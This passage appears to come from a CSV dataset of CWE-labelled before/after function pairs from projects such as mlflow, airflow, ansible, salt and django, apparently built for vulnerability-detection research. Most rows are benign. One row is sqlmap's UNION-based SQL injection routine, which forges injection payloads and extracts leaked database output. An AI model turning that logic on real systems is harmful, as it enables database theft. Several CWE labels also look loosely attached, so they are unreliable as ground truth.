if engine_name == ""mssql"":
# create the new column (cannot create non-nullable due to 'empty' column)
op.add_column(
""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
)
# Existing `experiment_id` column due to autoincrement, has an identity property.
# Allow for inserts in mssql with this column present.
op.execute(""SET IDENTITY_INSERT experiments ON;"")
# perform data migration by copying all experiment_id data to temporary column
op.execute(""UPDATE experiments SET exp_id = experiment_id"")
# drop column the old experiment_id column
op.drop_column(table_name=""experiments"", column_name=""experiment_id"")
# rename temporary column with required mssql arguments for converting to nullable
op.alter_column(
table_name=""experiments"",
column_name=""exp_id"",
new_column_name=""experiment_id"",
existing_type=sa.BigInteger,
type_=sa.BigInteger,
existing_nullable=True,
nullable=False,
)
# NB: there is no need to unset identity inserts since the identity column has been dropped.
if engine_name != ""sqlite"":
# NB: mssql requires that foreign keys reference primary keys prior to
# creation of a foreign key. Recreate the primary keys that were previously dropped.
if engine.engine.name == ""mssql"":
op.create_primary_key(
constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
)
op.create_primary_key(
constraint_name=""experiment_tag_pk"",
table_name=""experiment_tags"",
columns=[""key"", ""experiment_id""],
)
# Recreate the foreign key and name it for future direct reference
op.create_foreign_key(
constraint_name=""fk_experiment_tag"",
source_table=""experiment_tags"",
referent_table=""experiments"",
local_cols=[""experiment_id""],
remote_cols=[""experiment_id""],
)
op.create_foreign_key(
constraint_name=""fk_runs_experiment_id"",
source_table=""runs"",
referent_table=""experiments"",
local_cols=[""experiment_id""],
remote_cols=[""experiment_id""],
)
_logger.info(""Conversion of experiment_id from autoincrement complete!"")",CWE-89,mlflow/mlflow,f4cc5e5c7de11f065f209827727d2c667c6d5797,"def upgrade():
# As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
# has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
# column to support the uuid-based random id generation change.
engine = op.get_bind()
engine_name = engine.engine.name
# NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
# in sqlite outside of batch operations doesn't work.
if engine_name != ""sqlite"":
foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
fk = foreign_keys_in_experiment_tags[0]
op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")
# NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
# In order to handle type casting modifications, these constraints need to be dropped
# prior to any ALTER commands within the batch context. After type changes are complete, we
# will recreate these foreign keys (and give them names so that inspection isn't
# required in the future).
foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
fk_run = foreign_keys_in_runs[0]
op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")
# NB: MSSQL requires that modifications to primary key columns do not have a primary key
# status assigned to the columns. These primary keys will be recreated after altering
# the columns typing.
if engine_name == ""mssql"":
op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")
experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
else:
experiments_table_args = []
with op.batch_alter_table(
""experiments"",
table_args=experiments_table_args,
) as batch_op:
if engine_name == ""mssql"":
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
existing_autoincrement=True,
autoincrement=False,
existing_server_default=None,
existing_comment=None,
)
else:
experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
existing_autoincrement=True,
autoincrement=False,
existing_server_default=experiment_id_seq.next_value(),
server_default=None,
)
if engine_name == ""sqlite"":
# NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
# in the `table_args` argument to the batch constructor.
experiments_tags_table_args = (
PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
ForeignKeyConstraint(
columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
),
)
else:
# For postgres and mysql, the primary key definition will be applied to the altered table
# if defined in the `table_args` argument (and will be ignored in mssql).
experiments_tags_table_args = (
PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
)
with op.batch_alter_table(
""experiment_tags"",
table_args=experiments_tags_table_args,
) as batch_op:
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
)
with op.batch_alter_table(
""runs"",
) as batch_op:
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=True,
nullable=True,
)
if engine_name == ""sqlite"":
# sqlite will not port over unnamed constraints. Existing version has this
# constraint defined as `CHECK()` rather than `CONSTRAINT CHECK()`
batch_op.create_check_constraint(
constraint_name=""status"",
condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
)
# NB: MSSQL identity columns cannot be modified. Copying data to new column.
# Then, drooping original and renaming the new column.
if engine_name == ""mssql"":
# create the new column (cannot create non-nullable due to 'empty' column)
op.add_column(
""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
)
# Existing `experiment_id` column due to autoincrement, has an identity property.
# Allow for inserts in mssql with this column present.
op.execute(""SET IDENTITY_INSERT experiments ON;"")
# perform data migration by copying all experiment_id data to temporary column
op.execute(""UPDATE experiments SET exp_id = experiment_id"")
# drop column the old experiment_id column
op.drop_column(table_name=""experiments"", column_name=""experiment_id"")
# rename temporary column with required mssql arguments for converting to nullable
op.alter_column(
table_name=""experiments"",
column_name=""exp_id"",
new_column_name=""experiment_id"",
existing_type=sa.BigInteger,
type_=sa.BigInteger,
existing_nullable=True,
nullable=False,
)
if engine_name != ""sqlite"":
# NB: mssql requires that foreign keys reference primary keys prior to
# creation of a foreign key. Recreate the primary keys that were previously dropped.
if engine.engine.name == ""mssql"":
op.create_primary_key(
constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
)
op.create_primary_key(
constraint_name=""experiment_tag_pk"",
table_name=""experiment_tags"",
columns=[""key"", ""experiment_id""],
)
# Recreate the foreign key and name it for future direct reference
op.create_foreign_key(
constraint_name=""fk_experiment_tag"",
source_table=""experiment_tags"",
referent_table=""experiments"",
local_cols=[""experiment_id""],
remote_cols=[""experiment_id""],
)
op.create_foreign_key(
constraint_name=""fk_runs_experiment_id"",
source_table=""runs"",
referent_table=""experiments"",
local_cols=[""experiment_id""],
remote_cols=[""experiment_id""],
)
_logger.info(""Conversion of experiment_id from autoincrement complete!"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,0,"def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
warnMsg = ""automatically patching output having last char trimmed""
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _(""(?P%s.*%s)"" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r""(?P()+)"", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(""%s"" % output)
retVal = """"
for column in kb.dumpColumns:
base64 = True
for child in root:
try:
child.attrib.get(column, """").decode(""base64"")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except xml.etree.ElementTree.ParseError:
pass
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("" "", ""\n"")
hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _(""%s(?P.*?)<"" % (kb.chars.start))
if trimmed:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(probably due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal",,sqlmapproject/sqlmap,1e6191e3b1c13db089a0b5aac70bb3a4d25b1875,"def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
warnMsg = ""automatically patching output having last char trimmed""
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _(""(?P%s.*%s)"" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r""(?P(]+>)+)"", page)
if output:
retVal = """"
root = xml.etree.ElementTree.fromstring(""%s"" % output)
for column in kb.dumpColumns:
base64 = True
for child in root:
try:
child.attrib.get(column, """").decode(""base64"")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("" "", ""\n"")
hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _(""%s(?P.*?)<"" % (kb.chars.start))
if trimmed:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(probably due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/docs_publisher.py,0,"def publish(self, override_versioned: bool, airflow_site_dir: str):
""""""Copy documentation packages files to airflow-site repository.""""""
get_console(output=self.output).print(f""Publishing docs for {self.package_name}"")
output_dir = os.path.join(airflow_site_dir, self._publish_dir)
pretty_source = pretty_format_path(self._build_dir, os.getcwd())
pretty_target = pretty_format_path(output_dir, airflow_site_dir)
get_console(output=self.output).print(f""Copy directory: {pretty_source} => {pretty_target}"")
if os.path.exists(output_dir):
if self.is_versioned:
if override_versioned:
get_console(output=self.output).print(f""Overriding previously existing {output_dir}! "")
else:
get_console(output=self.output).print(
f""Skipping previously existing {output_dir}! ""
f""Delete it manually if you want to regenerate it!""
)
get_console(output=self.output).print()
return 1, f""Skipping {self.package_name}: Previously existing directory""
# If output directory exists and is not versioned, delete it
shutil.rmtree(output_dir)
shutil.copytree(self._build_dir, output_dir)
if self.is_versioned:
with open(os.path.join(output_dir, "".."", ""stable.txt""), ""w"") as stable_file:
stable_file.write(self._current_version)
get_console(output=self.output).print()
return 0, f""Docs published: {self.package_name}""",CWE-Unknown,apache/airflow,562ce2a144eae03d2da44050dae34003203ed9b6,"def publish(self, override_versioned: bool, airflow_site_dir: str):
""""""Copy documentation packages files to airflow-site repository.""""""
get_console(output=self.output).print(f""Publishing docs for {self.package_name}"")
output_dir = os.path.join(airflow_site_dir, self._publish_dir)
pretty_source = pretty_format_path(self._build_dir, os.getcwd())
pretty_target = pretty_format_path(output_dir, airflow_site_dir)
get_console(output=self.output).print(f""Copy directory: {pretty_source} => {pretty_target}"")
if os.path.exists(output_dir):
if self.is_versioned:
if override_versioned:
get_console(output=self.output).print(f""Overriding previously existing {output_dir}! "")
else:
get_console(output=self.output).print(
f""Skipping previously existing {output_dir}! ""
f""Delete it manually if you want to regenerate it!""
)
get_console(output=self.output).print()
return
shutil.rmtree(output_dir)
shutil.copytree(self._build_dir, output_dir)
if self.is_versioned:
with open(os.path.join(output_dir, "".."", ""stable.txt""), ""w"") as stable_file:
stable_file.write(self._current_version)
get_console(output=self.output).print()"
,UNKNOWN,UNKNOWN,lib/ansible/cli/pull.py,1,"def parse(self):
''' create an options parser for bin/ansible '''
self.parser = CLI.base_parser(
usage='%prog -U [options]',
connect_opts=True,
vault_opts=True,
runtask_opts=True,
subset_opts=True,
inventory_opts=True,
module_opts=True,
)
# options unique to pull
self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
help='only run the playbook if the repository has been updated')
self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
help='run the playbook even if the repository could not be updated')
self.parser.add_option('-d', '--directory', dest='dest', default=None,
help='directory to checkout repository to')
self.parser.add_option('-U', '--url', dest='url', default=None,
help='URL of the playbook repository')
self.parser.add_option('-C', '--checkout', dest='checkout',
help='branch/tag/commit to checkout. ' 'Defaults to behavior of repository module.')
self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
help='adds the hostkey for the repo url if not already added')
self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
' This needs the corresponding VCS module to support such an operation')
self.options, self.args = self.parser.parse_args()
if not self.options.dest:
hostname = socket.getfqdn()
# use a hostname dependent directory, in case of $HOME on nfs
self.options.dest = os.path.join('~/.ansible/pull', hostname)
if self.options.sleep:
try:
secs = random.randint(0,int(self.options.sleep))
self.options.sleep = secs
except ValueError:
raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)
if not self.options.url:
raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")
if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))
display.verbosity = self.options.verbosity
self.validate_conflicts(vault_opts=True)",CWE-330,ansible/ansible,46718ac3f49dde4deb1b32e088578d270a0fc907,"def parse(self):
''' create an options parser for bin/ansible '''
self.parser = CLI.base_parser(
usage='%prog -U [options]',
connect_opts=True,
vault_opts=True,
runtask_opts=True,
subset_opts=True,
inventory_opts=True,
module_opts=True,
)
# options unique to pull
self.parser.add_option('--purge', default=False, action='store_true', help='purge checkout after playbook run')
self.parser.add_option('-o', '--only-if-changed', dest='ifchanged', default=False, action='store_true',
help='only run the playbook if the repository has been updated')
self.parser.add_option('-s', '--sleep', dest='sleep', default=None,
help='sleep for random interval (between 0 and n number of seconds) before starting. This is a useful way to disperse git requests')
self.parser.add_option('-f', '--force', dest='force', default=False, action='store_true',
help='run the playbook even if the repository could not be updated')
self.parser.add_option('-d', '--directory', dest='dest', default='~/.ansible/pull',
help='directory to checkout repository to')
self.parser.add_option('-U', '--url', dest='url', default=None,
help='URL of the playbook repository')
self.parser.add_option('-C', '--checkout', dest='checkout',
help='branch/tag/commit to checkout. ' 'Defaults to behavior of repository module.')
self.parser.add_option('--accept-host-key', default=False, dest='accept_host_key', action='store_true',
help='adds the hostkey for the repo url if not already added')
self.parser.add_option('-m', '--module-name', dest='module_name', default=self.DEFAULT_REPO_TYPE,
help='Repository module name, which ansible will use to check out the repo. Default is %s.' % self.DEFAULT_REPO_TYPE)
self.parser.add_option('--verify-commit', dest='verify', default=False, action='store_true',
help='verify GPG signature of checked out commit, if it fails abort running the playbook.'
' This needs the corresponding VCS module to support such an operation')
self.options, self.args = self.parser.parse_args()
if self.options.sleep:
try:
secs = random.randint(0,int(self.options.sleep))
self.options.sleep = secs
except ValueError:
raise AnsibleOptionsError(""%s is not a number."" % self.options.sleep)
if not self.options.url:
raise AnsibleOptionsError(""URL for repository not specified, use -h for help"")
if self.options.module_name not in self.SUPPORTED_REPO_MODULES:
raise AnsibleOptionsError(""Unsuported repo module %s, choices are %s"" % (self.options.module_name, ','.join(self.SUPPORTED_REPO_MODULES)))
display.verbosity = self.options.verbosity
self.validate_conflicts(vault_opts=True)"
,UNKNOWN,UNKNOWN,tests/integration/states/test_pkgrepo.py,1,"def test_pkgrepo_01_managed(self, grains):
'''
Test adding a repo
'''
if grains['os'] == 'Ubuntu' and grains['osrelease_info'] >= (15, 10):
self.skipTest(
'The PPA used for this test does not exist for Ubuntu Wily'
' (15.10) and later.'
)
if grains['os_family'] == 'Debian':
try:
from aptsources import sourceslist # pylint: disable=unused-import
except ImportError:
self.skipTest(
'aptsources.sourceslist python module not found'
)
ret = self.run_function('state.sls', mods='pkgrepo.managed', timeout=120)
# If the below assert fails then no states were run, and the SLS in
# tests/integration/files/file/base/pkgrepo/managed.sls needs to be
# corrected.
self.assertReturnNonEmptySaltType(ret)
for state_id, state_result in six.iteritems(ret):
self.assertSaltTrueReturn(dict([(state_id, state_result)]))",CWE-703,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def test_pkgrepo_01_managed(self, grains):
'''
Test adding a repo
'''
if grains['os'] == 'Ubuntu' and grains['osrelease_info'] >= (15, 10):
self.skipTest(
'The PPA used for this test does not exist for Ubuntu Wily'
' (15.10) and later.'
)
if grains['os_family'] == 'Debian':
try:
from aptsources import sourceslist
except ImportError:
self.skipTest(
'aptsources.sourceslist python module not found'
)
ret = self.run_function('state.sls', mods='pkgrepo.managed', timeout=120)
# If the below assert fails then no states were run, and the SLS in
# tests/integration/files/file/base/pkgrepo/managed.sls needs to be
# corrected.
self.assertReturnNonEmptySaltType(ret)
for state_id, state_result in six.iteritems(ret):
self.assertSaltTrueReturn(dict([(state_id, state_result)]))"
,UNKNOWN,UNKNOWN,tests/providers/smtp/hooks/smtp.py,1,"def test_send_smtp(self, mock_smtplib):
mock_send_mime = mock_smtplib.SMTP_SSL().sendmail
with SmtpHook() as smtp_hook, tempfile.NamedTemporaryFile() as attachment:
attachment.write(b""attachment"")
attachment.seek(0)
smtp_hook.send_email_smtp(
to=""to"", subject=""subject"", html_content=""content"", files=[attachment.name]
)
assert mock_send_mime.called
_, call_args = mock_send_mime.call_args
assert ""from"" == call_args[""from_addr""]
assert [""to""] == call_args[""to_addrs""]
msg = call_args[""msg""]
assert ""Subject: subject"" in msg
assert ""From: from"" in msg
filename = 'attachment; filename=""' + os.path.basename(attachment.name) + '""'
assert filename in msg
mimeapp = MIMEApplication(""attachment"")
assert mimeapp.get_payload() in msg",CWE-703,apache/airflow,a15e73478521707487e1a6d6f7ef7f213b282023,"def test_send_smtp(self, mock_smtplib):
mock_send_mime = mock_smtplib.SMTP_SSL().sendmail
with SmtpHook() as smtp_hook, tempfile.NamedTemporaryFile() as attachment:
attachment.write(b""attachment"")
attachment.seek(0)
smtp_hook.send_email_smtp(""to"", ""subject"", ""content"", files=[attachment.name])
assert mock_send_mime.called
_, call_args = mock_send_mime.call_args
assert ""from"" == call_args[""from_addr""]
assert [""to""] == call_args[""to_addrs""]
msg = call_args[""msg""]
assert ""Subject: subject"" in msg
assert ""From: from"" in msg
filename = 'attachment; filename=""' + os.path.basename(attachment.name) + '""'
assert filename in msg
mimeapp = MIMEApplication(""attachment"")
assert mimeapp.get_payload() in msg"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/xapi.py,0,"def getFreeCpuCount():
cnt = 0
for host_cpu_it in host_cpu_rec:
if not host_cpu_rec['cpu_pool']:
cnt += 1
return cnt",,saltstack/salt,70020977ee1a7f19dadc2bf0f72a6d5fa87e6760,"def getFreeCpuCount():
cnt = 0
for host_cpu_it in host_cpu_rec:
if len(host_cpu_rec['cpu_pool']) == 0:
cnt += 1
return cnt"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/secrets_masker.py,0,"def _redact_all(self, item: Redactable, depth: int, max_depth: int = MAX_RECURSION_DEPTH) -> Redacted:
if depth > max_depth or isinstance(item, str):
return ""***""
if isinstance(item, dict):
return {
dict_key: self._redact_all(subval, depth + 1, max_depth) for dict_key, subval in item.items()
}
if isinstance(item, (tuple, set)):
# Turn set in to tuple!
return tuple(self._redact_all(subval, depth + 1, max_depth) for subval in item)
if isinstance(item, list):
return list(self._redact_all(subval, depth + 1, max_depth) for subval in item)
return item",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _redact_all(self, item: Redactable, depth: int, max_depth: int = MAX_RECURSION_DEPTH) -> Redacted:
if depth > max_depth or isinstance(item, str):
return ""***""
if isinstance(item, dict):
return {
dict_key: self._redact_all(subval, depth + 1, max_depth) for dict_key, subval in item.items()
}
elif isinstance(item, (tuple, set)):
# Turn set in to tuple!
return tuple(self._redact_all(subval, depth + 1, max_depth) for subval in item)
elif isinstance(item, list):
return list(self._redact_all(subval, depth + 1, max_depth) for subval in item)
else:
return item"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/tests/test_json_container.py,0,"def test_is_json_false(self):
self.assertFalse(JSONContainer.is_json('x'))",,andresriancho/w3af,2378f2665f5650a6d58d7aaafcdfd74ec2cbc861,"def test_is_json_false(self):
self.assertFalse(JSONContainer.is_json('x'))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils/test_requirements_utils.py,0,"def test_infer_requirements_does_not_print_warning_for_recognized_packages():
with mock.patch(
""mlflow.utils.requirements_utils._capture_imported_modules"",
return_value=[""sklearn""],
), mock.patch(
""mlflow.utils.requirements_utils._PYPI_PACKAGE_INDEX"",
_PyPIPackageIndex(date=""2022-01-01"", package_names={""scikit-learn""}),
), mock.patch(
""mlflow.utils.requirements_utils._logger.warning""
) as mock_warning:
_infer_requirements(""path/to/model"", ""sklearn"")
mock_warning.assert_not_called()",,mlflow/mlflow,e2e2b4c2a3b4889d480ecf4622b06bb35ecd4af5,"def test_infer_requirements_does_not_print_warning_for_recognized_packages():
with mock.patch(
""mlflow.utils.requirements_utils._capture_imported_modules"",
return_value=[""sklearn""],
), mock.patch(
""mlflow.utils.requirements_utils._PYPI_PACKAGE_INDEX"",
_PyPIPackageIndex(date=""2022-01-01"", package_names=set([""scikit-learn""])),
), mock.patch(
""mlflow.utils.requirements_utils._logger.warning""
) as mock_warning:
_infer_requirements(""path/to/model"", ""sklearn"")
mock_warning.assert_not_called()"
,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_autolog.py,1,"def test_pytorch_autologging_supports_data_parallel_execution():
mlflow.pytorch.autolog()
model = IrisClassification()
dm = IrisDataModule()
dm.setup(stage=""fit"")
accelerator = ""cpu"" if Version(pl.__version__) > Version(""1.6.4"") else ""ddp_cpu""
devices_kwarg_name = (
""devices"" if Version(pl.__version__) > Version(""1.6.4"") else ""num_processes""
)
trainer = pl.Trainer(
max_epochs=NUM_EPOCHS,
accelerator=accelerator,
strategy=""ddp_spawn"",
**{
devices_kwarg_name: 4,
},
)
with mlflow.start_run() as run:
trainer.fit(model, datamodule=dm)
trainer.test(datamodule=dm)
client = MlflowClient()
run = client.get_run(run.info.run_id)
# Checking if metrics are logged
client = MlflowClient()
for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
assert metric_key in run.data.metrics
data = run.data
assert ""test_loss"" in data.metrics
assert ""test_acc"" in data.metrics
# Testing optimizer parameters are logged
assert ""optimizer_name"" in data.params
assert data.params[""optimizer_name""] == ""Adam""
# Testing model_summary.txt is saved
client = MlflowClient()
artifacts = client.list_artifacts(run.info.run_id)
artifacts = [x.path for x in artifacts]
assert ""model"" in artifacts
assert ""model_summary.txt"" in artifacts",CWE-703,mlflow/mlflow,a9a7f6d04058c41c4de7f20335eba7bd1447489f,"def test_pytorch_autologging_supports_data_parallel_execution():
mlflow.pytorch.autolog()
model = IrisClassification()
dm = IrisDataModule()
dm.setup(stage=""fit"")
accelerator = ""cpu"" if Version(pl.__version__) > Version(""1.6.4"") else ""ddp_cpu""
devices_kwarg_name = (
""devices"" if Version(pl.__version__) > Version(""1.6.4"") else ""num_processes""
)
trainer = pl.Trainer(
max_epochs=NUM_EPOCHS,
accelerator=accelerator,
**{
devices_kwarg_name: 4,
},
)
with mlflow.start_run() as run:
trainer.fit(model, datamodule=dm)
trainer.test(datamodule=dm)
client = MlflowClient()
run = client.get_run(run.info.run_id)
# Checking if metrics are logged
client = MlflowClient()
for metric_key in [""loss"", ""train_acc"", ""val_loss"", ""val_acc""]:
assert metric_key in run.data.metrics
data = run.data
assert ""test_loss"" in data.metrics
assert ""test_acc"" in data.metrics
# Testing optimizer parameters are logged
assert ""optimizer_name"" in data.params
assert data.params[""optimizer_name""] == ""Adam""
# Testing model_summary.txt is saved
client = MlflowClient()
artifacts = client.list_artifacts(run.info.run_id)
artifacts = [x.path for x in artifacts]
assert ""model"" in artifacts
assert ""model_summary.txt"" in artifacts"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/crash.py,0,"def close(self):
self.base.close()",,volatilityfoundation/volatility,c00de40450412e6d3a56f90cc2253bd33b8fed8c,"def close(self):
self.base.close()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def test_add_binaryfield_mediumblob(self):
""""""
Test adding a custom-sized binary field on MySQL (#24846).
""""""
# Create the table
with connection.schema_editor() as editor:
editor.create_model(Author)
# Add the new field with default
new_field = MediumBlobField(blank=True, default=b""123"")
new_field.set_attributes_from_name(""bits"")
with connection.schema_editor() as editor:
editor.add_field(Author, new_field)
columns = self.column_classes(Author)
# Introspection treats BLOBs as TextFields
self.assertEqual(columns[""bits""][0], ""TextField"")",CWE-Unknown,django/django,3848475eeb5ee8f7729440f50c04fd85cf8bea66,"def test_add_binaryfield_mediumblob(self):
""""""
Test adding a custom-sized binary field on MySQL (#24846).
""""""
# Create the table
with connection.schema_editor() as editor:
editor.create_model(Author)
# Add the new field with default
new_field = MediumBlobField(blank=True, default=b""123"")
new_field.set_attributes_from_name(""bits"")
with connection.schema_editor() as editor:
editor.add_field(Author, new_field)
columns = self.column_classes(Author)
# Introspection treats BLOBs as TextFields
self.assertEqual(columns[""bits""][0], ""TextField"")"
,UNKNOWN,UNKNOWN,salt/states/dockerng.py,1,"def _compare(actual, create_kwargs, runtime_kwargs):
'''
Compare the desired configuration against the actual configuration returned
by dockerng.inspect_container
'''
_get = lambda path: (
salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
)
ret = {}
for desired, valid_opts in ((create_kwargs, VALID_CREATE_OPTS),
(runtime_kwargs, VALID_RUNTIME_OPTS)):
for item, data, in six.iteritems(desired):
if item not in valid_opts:
log.error(
'Trying to compare \'{0}\', but it is not a valid '
